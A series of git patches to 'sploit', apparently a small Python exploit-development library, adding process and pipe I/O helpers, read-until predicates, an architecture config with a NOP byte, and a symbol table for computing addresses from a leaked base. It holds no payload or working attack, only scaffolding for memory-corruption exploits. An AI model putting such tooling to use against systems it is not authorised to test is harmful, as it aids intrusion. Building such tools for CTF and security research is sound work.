-0400 Subject: Formatting Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 20 ++++++++++---------- tools/sploit/sploit/main.py | 12 ++++++------ 2 files changed, 16 insertions(+), 16 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 59f8498..1f55fb6 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -22,14 +22,14 @@ class Comm: log(data) return data - def readuntil(self,pred): + def readuntil(self, pred): data = b'' while(not pred(data)): data += self.back.stdin.read(1) log(data) return data - def readlineuntil(self,pred): + def readlineuntil(self, pred): data = b'' while(not pred(data)): data = self.back.stdin.readline() @@ -63,11 +63,11 @@ class Comm: readall() else: syncstop.set() - os.set_blocking(self.back.stdin.fileno(),False) - readthread = threading.Thread(target=readloop,daemon=True) + os.set_blocking(self.back.stdin.fileno(), False) + readthread = threading.Thread(target=readloop, daemon=True) readthread.start() stdin = sys.stdin.buffer - signal.signal(signal.SIGALRM,lambda: 0) + signal.signal(signal.SIGALRM, lambda: 0) while not syncstop.isSet(): try: signal.alarm(1) @@ -83,7 +83,7 @@ class Comm: signal.alarm(0) syncstop.set() readthread.join() - os.set_blocking(self.back.stdin.fileno(),True) + os.set_blocking(self.back.stdin.fileno(), True) print("<--Interact Mode Done-->") class Process: @@ -109,7 +109,7 @@ class Process: self.proc.kill() class Pipes: - def __init__(self,tmp=None): + def __init__(self, tmp=None): if(tmp == None): self.dir = tempfile.TemporaryDirectory() dirname = self.dir.name @@ -117,13 +117,13 @@ class Pipes: if(not os.path.exists(tmp)): os.mkdir(tmp) dirname = tmp - self.pathin = os.path.join(dirname,"in") - self.pathout = os.path.join(dirname,"out") + self.pathin = os.path.join(dirname, "in") + self.pathout = os.path.join(dirname, "out") os.mkfifo(self.pathin) os.mkfifo(self.pathout) print("Waiting on Target to Connect...") print("<"+self.pathin+" >"+self.pathout) - self.stdout = open(self.pathin,"wb") + self.stdout = open(self.pathin, "wb") self.stdin = open(self.pathout, "rb") print("Connected!") diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index bd01993..ee0495f 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -18,7 +18,7 @@ def main(): if(len(args.target)>0): if(args.daemon): print("Target Given. Ignoring Daemon Flag...") - target(args.script,args.target) + target(args.script, args.target) else: if(args.daemon): daemon(args.script) @@ -36,7 +36,7 @@ def daemon(script): except KeyboardInterrupt: break try: - runscript(script,Comm(p)); + runscript(script, Comm(p)); except KeyboardInterrupt: pass except: @@ -45,13 +45,13 @@ def daemon(script): def pipe(script): print("Running in Pipe Mode..."); - runscript(script,Comm(Pipes())); + runscript(script, Comm(Pipes())); -def target(script,target): +def target(script, target): print("Running in Target Mode...") - runscript(script,Comm(Process(target))); + runscript(script, Comm(Process(target))); -def runscript(script,comm): +def runscript(script, comm): print("Running Script...") exec(open(script).read()) print("Script Finished!") -- cgit v1.2.3 From a5d0003aa8f3f14076945a9a01ea23915be874dc Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 00:56:40 -0400 Subject: Throw a BrokenPipeError on Broken Read Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 4 ++++ 1 file changed, 4 insertions(+) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 1f55fb6..fc220ef 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -14,11 +14,15 @@ class Comm: def read(self, size): data = self.back.stdin.read(size) + if(data == b''): + raise BrokenPipeError('Tried to read on broken pipe') log(data) return data def readline(self): data = self.back.stdin.readline() + if(data == b''): + raise BrokenPipeError('Tried to read on broken pipe') log(data) return data -- cgit v1.2.3 From c394b31ecbcc78682629ef20b552de32e2ac3e9e Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 01:08:06 -0400 Subject: Correct read() Semantics The BufferedReader's .read() doesn't behave as expected. It reads EXACTLY size bytes and will block until there are enough available to read. os.read() does what we expect. It will read UP TO size bytes and only block if there is nothing available to read. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index fc220ef..9a20318 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -13,7 +13,7 @@ class Comm: self.back = backend def read(self, size): - data = self.back.stdin.read(size) + data = os.read(self.back.stdin.fileno(), size) if(data == b''): raise BrokenPipeError('Tried to read on broken pipe') log(data) -- cgit v1.2.3 From 94d353f7d700c5a591d64d2b22613e04f52622b3 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 02:38:45 -0400 Subject: readlineuntil() Operates on an Array of Lines Instead of only operating on and returning the last line read, readlineuntil() will now check the predicate against an array of all lines read and return that array when the predicate is true. Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 9a20318..f7d2f5d 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -28,17 +28,22 @@ class Comm: def readuntil(self, pred): data = b'' - while(not pred(data)): + while(True): data += self.back.stdin.read(1) + if(pred(data)): + break log(data) return data def readlineuntil(self, pred): - data = b'' - while(not pred(data)): + dataarr = [] + while(True): data = self.back.stdin.readline() log(data) - return data + dataarr.append(data) + if(pred(dataarr)): + break + return dataarr def write(self, data): self.back.stdout.write(data) -- cgit v1.2.3 From a8e75fe2696d9ae15cc7e0900ca3b22f5007d55c Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 04:28:42 -0400 Subject: Add Convenience Utility to readuntil() readuntil() and readlineuntil() will now automatically bind() a predicate and given arguments to produce the single function predicate required. The 'until' module will provide convenience utilities for use with readuntil() and readlineuntil(). For now, it contains functools.partial renamed as bind(), lastline() which can call a predicate with the last element of the array of lines given from readlineuntil(), and simplified versions of re.search and re.fullmatch renamed as contains and equals. These allow us to write powerful and legible statements like: comm.readlineuntil(lastline,contains,b'Enter') Signed-off-by: dusoleil --- tools/sploit/sploit/__init__.py | 2 +- tools/sploit/sploit/comm.py | 7 +++++-- tools/sploit/sploit/until.py | 14 ++++++++++++++ 3 files changed, 20 insertions(+), 3 deletions(-) create mode 100644 tools/sploit/sploit/until.py (limited to 'tools') diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py index c7d2c93..c90b980 100644 --- a/tools/sploit/sploit/__init__.py +++ b/tools/sploit/sploit/__init__.py @@ -1 +1 @@ -__all__ = ["log","comm"] +__all__ = ["log","comm","until"] diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index f7d2f5d..0ee786b 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -7,6 +7,7 @@ import select import signal from sploit.log import log +from sploit.until import bind class Comm: def __init__(self, backend): @@ -26,8 +27,9 @@ class Comm: log(data) return data - def readuntil(self, pred): + def readuntil(self, pred, /, *args, **kwargs): data = b'' + pred = bind(pred, *args, **kwargs) while(True): data += self.back.stdin.read(1) if(pred(data)): @@ -35,8 +37,9 @@ class Comm: log(data) return data - def readlineuntil(self, pred): + def readlineuntil(self, pred, /, *args, **kwargs): dataarr = [] + pred = bind(pred, *args, **kwargs) while(True): data = self.back.stdin.readline() log(data) diff --git a/tools/sploit/sploit/until.py b/tools/sploit/sploit/until.py new file mode 100644 index 0000000..b4f390f --- /dev/null +++ b/tools/sploit/sploit/until.py @@ -0,0 +1,14 @@ +from functools import partial as bind +import re + +def lastline(pred, /, *args, **kwargs): + s = args[-1] + args = args[:-1] + p = bind(pred, *args, **kwargs) + return p(s[-1]) + +def contains(regex, s): + return re.search(regex, s) + +def equals(regex, s): + return re.fullmatch(regex, s) -- cgit v1.2.3 From 4b4279a18fb144213883af90977137a23fb507e5 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 05:34:20 -0400 Subject: Rewrite interact() to be Single Threaded Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 62 +++++++++++++++++++-------------------------- 1 file changed, 26 insertions(+), 36 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 0ee786b..037516f 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -1,10 +1,8 @@ import subprocess -import threading import tempfile import os import sys import select -import signal from sploit.log import log from sploit.until import bind @@ -57,45 +55,37 @@ class Comm: def interact(self): print("<--Interact Mode-->") - syncstop = threading.Event() - def readloop(): - poll = select.poll() - poll.register(self.back.stdin) - def readall(): - while(True): - data = self.back.stdin.readline() - if(data == b''): - break - log(data) - while not syncstop.isSet(): - readall() - dat = poll.poll(100) - if(len(dat)>0): - if(dat[0][1] & select.POLLIN): - readall() - else: - syncstop.set() - os.set_blocking(self.back.stdin.fileno(), False) - readthread = threading.Thread(target=readloop, daemon=True) - readthread.start() stdin = sys.stdin.buffer - signal.signal(signal.SIGALRM, lambda: 0) - while not syncstop.isSet(): - try: - signal.alarm(1) - data = stdin.readline() - if(data and not syncstop.isSet()): - self.write(data) - else: + os.set_blocking(self.back.stdin.fileno(), False) + os.set_blocking(stdin.fileno(), False) + poll = select.poll() + poll.register(self.back.stdin, select.POLLIN) + poll.register(stdin, select.POLLIN) + brk = False + def readall(read, write): + while(True): + data = read() + if(data == b''): break - except TypeError: - pass + write(data) + readtable = { + stdin.fileno() : lambda : readall(stdin.readline, self.write), + self.back.stdin.fileno() : lambda : readall(self.back.stdin.readline, log) + } + readtable[self.back.stdin.fileno()]() + while(not brk): + try: + ioevents = poll.poll(100) + for ev in ioevents: + if(ev[1] & select.POLLIN): + readtable[ev[0]]() + else: + brk = True + break except KeyboardInterrupt: break - signal.alarm(0) - syncstop.set() - readthread.join() os.set_blocking(self.back.stdin.fileno(), True) + os.set_blocking(stdin.fileno(), True) print("<--Interact Mode Done-->") class Process: -- cgit v1.2.3 From d78a5ad4bd97dde7cb87084580ade729ebdece7d Mon Sep 17 00:00:00 2001 From: dusoleil Date: Wed, 1 Sep 2021 05:56:31 -0400 Subject: Add Config Toggles for Read/Write Extra Behavior logonread can enable/disable logging the result of every read flushonwrite can enable/disable automatically flushing every write Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 037516f..a0a9ebd 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -11,18 +11,21 @@ class Comm: def __init__(self, backend): self.back = backend + logonread = True + flushonwrite = True + def read(self, size): data = os.read(self.back.stdin.fileno(), size) if(data == b''): raise BrokenPipeError('Tried to read on broken pipe') - log(data) + if self.logonread : log(data) return data def readline(self): data = self.back.stdin.readline() if(data == b''): raise BrokenPipeError('Tried to read on broken pipe') - log(data) + if self.logonread : log(data) return data def readuntil(self, pred, /, *args, **kwargs): @@ -32,7 +35,7 @@ class Comm: data += self.back.stdin.read(1) if(pred(data)): break - log(data) + if self.logonread : log(data) return data def readlineuntil(self, pred, /, *args, **kwargs): @@ -40,7 +43,7 @@ class Comm: pred = bind(pred, *args, **kwargs) while(True): data = self.back.stdin.readline() - log(data) + if self.logonread : log(data) dataarr.append(data) if(pred(dataarr)): break @@ -48,7 +51,7 @@ class Comm: def write(self, data): self.back.stdout.write(data) - self.back.stdout.flush() + if self.flushonwrite : self.back.stdout.flush() def writeline(self, data): self.write(data + b'\n') -- cgit v1.2.3 From ab6bcf9c5c8e8c7490d6b70141c4b2c864f15752 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 00:03:59 -0400 Subject: Add arch config module Add Arch class which specifies wordsize, endianness, alignment, and a nop code for an architecture. Add a couple predefined architectures for x86 and x86_64 Add a "configured" architecture which is set to x86_64 by default. Added btoi and itob functions which will convert to and from bytes and ints based on the current architecture config Signed-off-by: dusoleil --- tools/sploit/sploit/__init__.py | 2 +- tools/sploit/sploit/arch.py | 28 ++++++++++++++++++++++++++++ 2 files changed, 29 insertions(+), 1 deletion(-) create mode 100644 tools/sploit/sploit/arch.py (limited to 'tools') diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py index c90b980..d9ea6b0 100644 --- a/tools/sploit/sploit/__init__.py +++ b/tools/sploit/sploit/__init__.py @@ -1 +1 @@ -__all__ = ["log","comm","until"] +__all__ = ["log","comm","until","arch"] diff --git a/tools/sploit/sploit/arch.py b/tools/sploit/sploit/arch.py new file mode 100644 index 0000000..d75bbda --- /dev/null +++ b/tools/sploit/sploit/arch.py @@ -0,0 +1,28 @@ +def btoi(b, signed=False): + return int.from_bytes(b, arch.endianness, signed=signed) + +def itob(i, signed=False): + return i.to_bytes(arch.wordsize, arch.endianness, signed=signed) + +class Arch: + def __init__(self, wordsize, endianness, alignment, nop): + self.wordsize = wordsize + self.endianness = endianness + self.alignment = alignment + self.nop = nop + +archx86 = Arch( + wordsize = 4, + endianness = "little", + alignment = 16, + nop = b'\x90' +) + +archx86_64 = Arch( + wordsize = 8, + endianness = "little", + alignment = 16, + nop = b'\x90' +) + +arch = archx86_64 -- cgit v1.2.3 From 6815af7a8dfb3bf5f4d0495fc37ad013da9ba93a Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 00:34:57 -0400 Subject: Move comm toggles for consistency Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index a0a9ebd..1b8ba7f 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -8,12 +8,12 @@ from sploit.log import log from sploit.until import bind class Comm: - def __init__(self, backend): - self.back = backend - logonread = True flushonwrite = True + def __init__(self, backend): + self.back = backend + def read(self, size): data = os.read(self.back.stdin.fileno(), size) if(data == b''): -- cgit v1.2.3 From da2af8c7a93f528a225672ebfae652ebfc6a78bf Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 00:40:13 -0400 Subject: Add readall() which reads until EOF Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 7 +++++++ tools/sploit/sploit/main.py | 3 +-- 2 files changed, 8 insertions(+), 2 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 1b8ba7f..223b639 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -28,6 +28,13 @@ class Comm: if self.logonread : log(data) return data + def readall(self): + data = b'' + for line in self.back.stdin: + log(line) + data += line + return data + def readuntil(self, pred, /, *args, **kwargs): data = b'' pred = bind(pred, *args, **kwargs) diff --git a/tools/sploit/sploit/main.py b/tools/sploit/sploit/main.py index ee0495f..0bc799e 100644 --- a/tools/sploit/sploit/main.py +++ b/tools/sploit/sploit/main.py @@ -55,6 +55,5 @@ def runscript(script, comm): print("Running Script...") exec(open(script).read()) print("Script Finished!") - for line in comm.back.stdin: - log(line) + comm.readall() -- cgit v1.2.3 From 98a68415ee658194f586dce4d14ce2918cc537f6 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 04:33:38 -0400 Subject: Reuse read() and readline() in the until() API Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 223b639..81efa9c 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -38,10 +38,13 @@ class Comm: def readuntil(self, pred, /, *args, **kwargs): data = b'' pred = bind(pred, *args, **kwargs) + l = self.logonread + self.logonread = False while(True): - data += self.back.stdin.read(1) + data += self.read(1) if(pred(data)): break + self.logonread = l if self.logonread : log(data) return data @@ -49,9 +52,7 @@ class Comm: dataarr = [] pred = bind(pred, *args, **kwargs) while(True): - data = self.back.stdin.readline() - if self.logonread : log(data) - dataarr.append(data) + dataarr.append(self.readline()) if(pred(dataarr)): break return dataarr -- cgit v1.2.3 From 51cd7258a88b29450735355a666df142a0c29069 Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 15:36:22 -0400 Subject: Handle Process destr when Process constr throws Signed-off-by: dusoleil --- tools/sploit/sploit/comm.py | 1 + 1 file changed, 1 insertion(+) (limited to 'tools') diff --git a/tools/sploit/sploit/comm.py b/tools/sploit/sploit/comm.py index 81efa9c..7d6cd8c 100644 --- a/tools/sploit/sploit/comm.py +++ b/tools/sploit/sploit/comm.py @@ -112,6 +112,7 @@ class Process: self.stdout = self.proc.stdin def __del__(self): + if getattr(self, 'proc', None) == None : return if(self.proc.poll() != None): return try: -- cgit v1.2.3 From 21f9fe88f4901801d71e12cf170b287d6d7c2c1f Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 22:37:49 -0400 Subject: Add mem module for calculating memory offsets Signed-off-by: dusoleil --- tools/sploit/sploit/__init__.py | 2 +- tools/sploit/sploit/mem.py | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) create mode 100644 tools/sploit/sploit/mem.py (limited to 'tools') diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py index d9ea6b0..836bb30 100644 --- a/tools/sploit/sploit/__init__.py +++ b/tools/sploit/sploit/__init__.py @@ -1 +1 @@ -__all__ = ["log","comm","until","arch"] +__all__ = ["log","comm","until","arch","mem"] diff --git a/tools/sploit/sploit/mem.py b/tools/sploit/sploit/mem.py new file mode 100644 index 0000000..6de32f8 --- /dev/null +++ b/tools/sploit/sploit/mem.py @@ -0,0 +1,15 @@ +class Symtbl: + def __init__(self, base=0, **kwargs): + self.__dict__ = {'base' : base, **kwargs} + + def __getattribute__(self, sym): + a = object.__getattribute__(self, sym) + if sym in object.__getattribute__(self,'__dict__') and sym != 'base': + return self.base + a + else: + return a + + def addr(self, sym, addr): + if sym == 'base' : self.base = addr + else: self.base = addr - object.__getattribute__(self, sym) + -- cgit v1.2.3 From 5fa45b9b625e2d2efb5b43a8ea2fb63e31c437ab Mon Sep 17 00:00:00 2001 From: dusoleil Date: Thu, 2 Sep 2021 22:38:31 -0400 Subject: Change behavior for import sploit The statement import sploit will now import all of the sploit modules under the sploit namespace. Signed-off-by: dusoleil --- tools/sploit/sploit/__init__.py | 1 + 1 file changed, 1 insertion(+) (limited to 'tools') diff --git a/tools/sploit/sploit/__init__.py b/tools/sploit/sploit/__init__.py index 836bb30..5082cfa 100644 --- a/tools/sploit/sploit/__init__.py +++ b/tools/sploit/sploit/__init__.py @@ -1 +1,2 @@ __all__ = ["log","comm","until","arch","mem"] +from sploit import log, comm, until, arch, mem -- cgit v1.2.3